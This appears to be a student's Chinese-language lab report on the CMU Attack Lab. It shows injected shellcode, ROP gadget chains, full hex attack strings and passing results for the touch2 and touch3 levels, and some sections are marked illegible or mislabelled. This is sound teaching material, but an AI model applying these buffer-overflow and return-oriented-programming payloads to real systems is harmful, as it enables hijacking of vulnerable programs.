

Phase2

先看对应的汇编代码：

```
00000000004017ec <touch2>:
4017ec: 48 83 ec 08          sub     rsp,0x8
4017f0: 89 fa               mov     edx,edi
4017f2: c7 05 e0 2c 20 00 02 mov     DWORD PTR [rip+0x202ce0],0x2      # 6044dc <vlevel>
4017f9: 00 00 00           mov     eax,0
4017fc: 3b 3d e2 2c 20 00    cmp     edi,DWORD PTR [rip+0x202ce2]      # 6044e4 <cookie>
401802: 75 20              jne     401824 <touch2+0x38>
401804: be e8 30 40 00      mov     esi,0x4030e8
401809: bf 01 00 00 00      mov     edi,0x1
40180e: b8 00 00 00 00      mov     eax,0x0
401813: e8 d8 f5 ff ff      call    400df0 <_printf_chk@plt>
401818: bf 02 00 00 00      mov     edi,0x2
40181d: e8 6b 04 00 00      call    401c8d <validate>
401822: eb 1e              jmp     401842 <touch2+0x56>
401824: be 10 31 40 00      mov     esi,0x403110
401829: bf 01 00 00 00      mov     edi,0x1
40182e: b8 00 00 00 00      mov     eax,0x0
401833: e8 b8 f5 ff ff      call    400df0 <_printf_chk@plt>
401838: bf 02 00 00 00      mov     edi,0x2
40183d: e8 0d 05 00 00      call    401d4f <fail>
401842: bf 00 00 00 00      mov     edi,0x0
401847: e8 f4 f5 ff ff      call    400e40 <exit@plt>
```

该阶段我们的目标是在 `test()` 函数中，调用 `getbuf()` 函数，并且 `getbuf()` 函数结束后不返回 `test()` 函数，而是返回 `touch2()` 函数，而且根据汇编代码可知 `touch2` 函数需要接收一个参数，然后比较参数是否与设定值相等，相等则成功。

查看 `wriueup` 发现，其中给了建议说：不要用 `jmp`，因为目标地址通常难以制定，而用 `ret`。所以我们就仍然需要修改返回地址，然后通过 `ret` 指令来跳转到 `touch2`。传参的第一个参数存在了寄存器 `%rdi` 当中，所以跳转之前需要把 `%rdi` 赋值为一个目的值，这就需要额外的语句也就是需要代码注入了。`touch2` 的逻辑就是比较我们传入的参数 `val` 是否等于 `cookie` 的值。如果等于就可以通过。`touch2` 的首地址为 `0x4017ec`，打开 `cookie.txt` 得到 `cookie` 值为 `0x59b997fa`。

于是我们需要编写一段汇编代码

```
movq $0x59b997fa, %rdi    #把 Cookie 放入传参寄存器 %rdi
pushq $0x4017ec           #把 touch2 的内存地址, 强行压入栈顶
retq                      #执行返回。CPU 会把刚压入栈的 touch2 地址弹出来, 并跳过。
```

将这段代码写入 insert.s 再进行编译 gcc -c insert.s 和反汇编 objdump -d insert.o >

insert.asm

可得:

```
0000000000000000 <.text>:
   0: 48 c7 c7 fa 97 b9 59      mov     $0x59b997fa,%rdi
   7: 68 ec 17 40 00            push    $0x4017ec
  c: c3                        ret
```

这里得到了目标汇编代码以及其机器码 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

那么就可以用机器码放在栈里面，从而实现我们想要的汇编代码。前三个阶段使用的是同一块栈空间，用 gdb 调试得到栈顶地址为 0x5561dc78，ret 指令会从栈中弹出返回地址，并且跳转回该地址，所以我们需要覆盖栈中的返回地址，使其指向注入代码。

总结就是，我们用机器码覆盖栈中的区域，然后用 gdb 调试得到机器码在栈中的地址，再将栈地址放在字符串里使其被压入栈中，读取后自动跳转到设置的机器码执行将 cookie 放到 rdi 中的操作，从而完成任务。

[illegible]

写成 touch2 文件, 并经由 hex2raw “翻译” 后提交, 即:

[illegible]

讲入下一关。

Phase3

- 3 -

第四阶段要在现有指令中找到能够利用的代码，使程序调用 touch2 函数。函数调用过程可以简化为 main() → getbuf() → Gets() →……，我们要做的就是找到代码使 getbuf 返回到已有的代码片段中，再通过调用已有代码来实现到目标函数 (touch2) 的跳转。

```
0000000004017ec <touch2>:
4017ec: 48 83 ec 08      sub     rsp,0x8
4017f0: 89 fa           mov     edx,edi
4017f2: c7 05 e0 3c 20 02 mov     DWORD PTR [rip+0x203ce0],0x2      # 6054dc <vlevel>
4017f9: 00 00 00       mov     esi,0x403208
4017fc: 3b 3d e2 3c 20 00 cmp     edi,DWORD PTR [rip+0x203ce2]      # 6054e4 <cookie>
401802: 75 20          jne     401824 <touch2+0x38>
401804: be 08 32 40 00  mov     esi,0x403208
401809: bf 01 00 00 00  mov     edi,0x1
40180e: b8 00 00 00 00  mov     eax,0x0
401813: e8 d8 f5 ff ff  call    400df0 <__printf_chk@plt>
401818: bf 02 00 00 00  mov     edi,0x2
40181d: e8 8b 05 00 00  call    401dad <validate>
401822: eb 1e          jmp     401842 <touch2+0x56>
401824: be 30 32 40 00  mov     esi,0x403230
401829: bf 01 00 00 00  mov     edi,0x1
40182e: b8 00 00 00 00  mov     eax,0x0
401833: e8 b8 f5 ff ff  call    400df0 <__printf_chk@plt>
401838: bf 02 00 00 00  mov     edi,0x2
40183d: e8 2d 06 00 00  call    401e6f <fail>
401842: bf 00 00 00 00  mov     edi,0x0
401847: e8 f4 f5 ff ff  call    400e40 <exit@plt>
```

可用代码区间在 `start_farm` 和 `end_farm` 之间，再具体一点的目标是让 `getbuf` 返回到 `touch2` 并传递 `cookie` 值为参数。函数调用以 `%rdi` 寄存器存储第一个参数，所以我们需要寻找类似 `pop %rdi;ret` 或者 `pop` 到其他寄存器然后跳转到 `rdi` 的指令，实现弹出 `cookie` 值到 `rdi` 寄存器中。首先我想到的是用 `pop %rdi;ret` 一步到位，对应的代码应该是 `5f c3`，很可惜，在查询过后发现在代码可用区并没有找到这段代码。

```
boyu@ubuntu:~/lab3/target1$ grep "48 89 .. c3" rtarget.s
4019a0:      8d 87 48 89 c7 c3      lea    eax,[rdi-0x3c3876b8]
```

于是再 `grep 58 (rax)` 可以发现:

找到了 4019a7

查看 `getbuf` 片段得知缓冲区大小仍然为 40 字节，所以构建攻击字符串结构如下：

[illegible]

```
00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
```

```
boyu@ubuntu:~/lab3/target1$ ./hex2raw < phase4.txt | ./rtarget -q  
Cookie: 0x59b997fa  
Type string:Touch2!: You called touch2(0x59b997fa)  
Valid solution for level 2 with target rtarget  
PASS: Would have posted the following:  
      user id bovik  
      course 15213-f15  
      lab    attacklab  
      result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 FA 97 B9 59 00 00 00 A2 19 40 00 00 00 00 EC 17 40 00 00 00 00 00
```

- 4 -

```

0000000004018fa <touch3>:
4018fa: 53                push    rbx
4018fb: 48 89 fb         mov     rbx,rdi
4018fe: c7 05 d4 3b 20 00 03 mov     DWORD PTR [rip+0x203bd4],0x3      # 6054dc <vlevel>
401905: 00 00 00
401908: 48 89 fe         mov     rsi,rdi
40190b: 8b 3d d3 3b 20 00 mov     edi,DWORD PTR [rip+0x203bd3]      # 6054e4 <cookie>
401911: e8 36 ff ff ff   call    40184c <hexmatch>
401916: 85 c0            test    eax,eax
401918: 74 23            je      40193d <touch3+0x43>
40191a: 48 89 da         mov     rdx,rbx
40191d: be 58 32 40 00   mov     esi,0x403258
401922: bf 01 00 00 00   mov     edi,0x1
401927: b8 00 00 00 00   mov     eax,0x0
40192c: e8 bf f4 ff ff   call    400df0 <__printf_chk@plt>
401931: bf 03 00 00 00   mov     edi,0x3
401936: e8 72 04 00 00   call    401dad <validate>
40193b: eb 21            jmp     40195e <touch3+0x64>
40193d: 48 89 da         mov     rdx,rbx
401940: be 80 32 40 00   mov     esi,0x403280
401945: bf 01 00 00 00   mov     edi,0x1
40194a: b8 00 00 00 00   mov     eax,0x0
40194f: e8 9c f4 ff ff   call    400df0 <__printf_chk@plt>
401954: bf 03 00 00 00   mov     edi,0x3
401959: e8 11 05 00 00   call    401e6f <fail>
40195e: bf 00 00 00 00   mov     edi,0x0
401963: e8 d8 f4 ff ff   call    400e40 <exit@plt>

```

一关的目标和 Phase3 一样，传递 cookie 字符串给 touch3 函数。但是使用 rop 的攻击手段，使用 cookie 构造字符串，将 ASCII 码传递到 touch3。但是这一关有所区别，那就是栈随机化，该阶段栈地址是随机的，gdb 调试发现三次运行 rsp 寄存器地址都不一样，这就意味着不能简单传入栈地址就结束。

```

boyu@ubuntu:~/lab3/target1$ gdb ./rtarget -q
warning: 12  buf.c: No such file or directory
(gdb) p /x $rsp
$1 = 0x7ffffffe3f68
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/boyu/lab3/target1/rtarget -q
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12  in buf.c
(gdb) p /x $rsp
$2 = 0x7ffffffa0708
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/boyu/lab3/target1/rtarget -q
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12  in buf.c
(gdb) p /x $rsp
$3 = 0x7ffffff0658
(gdb) x/32gx $rsp
0x7ffffff91160: 0x000000000004019a2  0x000000000004019ab
0x7ffffff91170: 0x0000000000000048  0x000000000004019dd
0x7ffffff91180: 0x00000000000401a69  0x00000000000401a13
0x7ffffff91190: 0x000000000004019d6  0x000000000004019c5
0x7ffffff911a0: 0x000000000004018fa  0x6166373939623935
0x7ffffff911b0: 0xf4f4f4f4f4f4f4000  0xf4f4f4f4f4f4f4f4
0x7ffffff911c0: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4
0x7ffffff911d0: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4
0x7ffffff911e0: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4
0x7ffffff911f0: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4
0x7ffffff91200: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4
0x7ffffff91210: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4
0x7ffffff91220: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4
0x7ffffff91230: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4
0x7ffffff91240: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4
0x7ffffff91250: 0xf4f4f4f4f4f4f4f4  0xf4f4f4f4f4f4f4f4

```

```

0x7fffffff9190: 0x0000000004019a2 0x0000000004019ab
0x7fffffff91a0: 0x000000000000048 0x0000000004019dd
0x7fffffff91b0: 0x00000000000401a69 0x000000000401a13
0x7fffffff91c0: 0x000000000004019d6 0x0000000004019c5
0x7fffffff91d0: 0x000000000004018fa 0x6166373939623935
0x7fffffff91e0: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff91f0: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff9200: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff9210: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff9220: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff9230: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff9240: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff9250: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff9260: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff9270: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
0x7fffffff9280: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4

```

并通过多次观察 cookie 的地址可以发现，每次输入时 cookie 字符串所在位置和栈顶的距离是固定的，那么我们可以确定通过已有地址加偏移量的方式实现，并且这个偏移量可以算出来是 $9 \times 8 = 72$ 。

调用的函数应该有以下功能：

1. 需要将寄存器 %rdi 的值设置为 cookie 字符串的指针，即存储 cookie 字符串的地址。

pop %rdi; ret 或者 pop+mov

2. 控制 rsp 获取当前栈指针，然后加上偏移量并传递给 rdi。

mov %rsp, %rax; ret

add (), %rax; ret

mov %rax, %rdi; ret

3. mov 获取字符串地址，并通过 rdi 传递给 touch3。

根据已有代码，寄存器的值的传递过程无法一步到位，只能借助部分寄存器当作桥梁

怎么做呢？首先我们知道 %rdi 必须等于 Cookie 字符串的绝对地址，而绝对地址 = 劫持发生时的栈指针 (%rsp) + 固定偏移量，所以我们先需要找一个“加法”，于是想到了 lea 指令

不妨查找一下 lea 指令

```

0000000004019d6 <add_xy>:
4019d6: 48 8d 04 37      lea    rax,[rdi+rsi*1]
4019da: c3              ret

```

找到了！它要求左边参数必须在 %rdi 里，右边参数必须在 %rsi 里，那我们一部分一部分来看

先想办法把 %rsp 放进 %rdi 中，想到 mov 指令

最先想的是找 mov %rsp, %rdi 搜索 mov 指令 发现好像没有什么直达的通道，于是继续中转

先找 48 89 +c3 的

```

000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0      lea    eax,[rdi-0x1f76b7bf]
401a09: c3                  ret

```

这一条可以 mov %rsp %rax

再找 rax->rdi

```

0000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90      mov    DWORD PTR [rdi],0x90c78948
4019c9: c3                  ret

```

左部分找完了，考虑右半部分

48 可以从栈顶拿，也就是可以 pop 到一个寄存器

```

0000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90      lea    eax,[rdi-0x6fa78caf]
4019ad: c3                  ret

```

找到一个可以存到 rax 中，然后再把 rax 中的传到 rsi 里面

这时候我们逆向分析，找一下有没有能传入 esi 的，查找后发现一条 89 ce

```

000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90      lea    eax,[rdi-0x6f6f3177]
401a17: c3                  ret

```

```
000000000401a68 <getval_311>:  
401a68: b8 89 d1 08 db      mov     eax,0xdb08d189  
401a6d: c3                  ret
```

```
00000000004019db <getval_481>:
  4019db: b8 5c 89 c2 90      mov     eax,0x90c2895c
  4019e0: c3                  ret
```

然后我们再看最初的那条 add 函数，是加到了 rax 里面，但我们最终要 rdi 去传参，所以还需移动一步，也就是 `mov %rax, %rdi`

```
0000000004019a0 <addval_273>:  
4019a0: 8d 87 48 89 c7 c3    lea    eax,[rdi-0x3c3876b8]  
4019a6: c3                    ret
```

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 /* 1. mov %rsp, %rax (定下锚点) */
a2 19 40 00 00 00 00 00 /* 2. mov %rax, %rdi (基准地址存入 rdi) */
ab 19 40 00 00 00 00 00 /* 3. pop %rax (准备吃掉下一个格子的数据) */
48 00 00 00 00 00 00 00 /* Offset: 0x48 被 pop 进 %rax */
dd 19 40 00 00 00 00 00 /* 4. mov %eax, %edx */
69 1a 40 00 00 00 00 00 /* 5. mov %edx, %ecx */
13 1a 40 00 00 00 00 00 /* 6. mov %ecx, %esi (偏移量终于到达 rsi) */
d6 19 40 00 00 00 00 00 /* 7. lea (%rdi,%rsi,1), %rax (核心加法, 算出绝对地址) */
c5 19 40 00 00 00 00 00 /* 8. mov %rax, %rdi (把算好的地址放进传参专用寄存器) */
```

```
boyy@ubuntu:~/lab3/target1$ ./hex2raw < phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
    user id bovik
        course 15213-f15
        lab attacklab
    result 1:PASS:0xffffffffff.rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 00 48 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 00 69 1A 40 00 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 FA 18 40 00 00 00 00 35 39 62 39 39 66 61 00
```

四、实验结果总结

比如说 `phase5` 的最初阶段，我的断点打的位置太靠前了，导致测试密码的区域，`getbuf` 一直没有读入我的 `cookie`，导致想要查找偏移量的时候只能看见满页的 `f4`

```

(gdb) x/32gx $rsp
0x7fffffffcc828: 0x0000000000401976      0x00007fffffffda10
0x7fffffffcc838: 0x0000000000402044      0xf4f4f4f4f4f4f4f4
0x7fffffffcc848: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc858: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc868: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc878: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc888: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc898: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc8a8: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc8b8: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc8c8: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc8d8: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc8e8: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc8f8: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc908: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4
0x7fffffffcc918: 0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4

```

(卡了我半个小时 地狱绘图这一块)

好在最终发现了这个问题，把断点设置在靠后的位置，成功找到了 cookie 的位置，并且计算出了偏移量，从而进行后面的内容

总体来说，很有意思，一个个阶段循序渐进熟悉了缓冲区溢出的攻击方式，也对如何防御有了那么一点点眉目，并且对汇编代码有了更深刻的了解和认识。

如此，实验完成。

五、附录（源代码）

见正文截图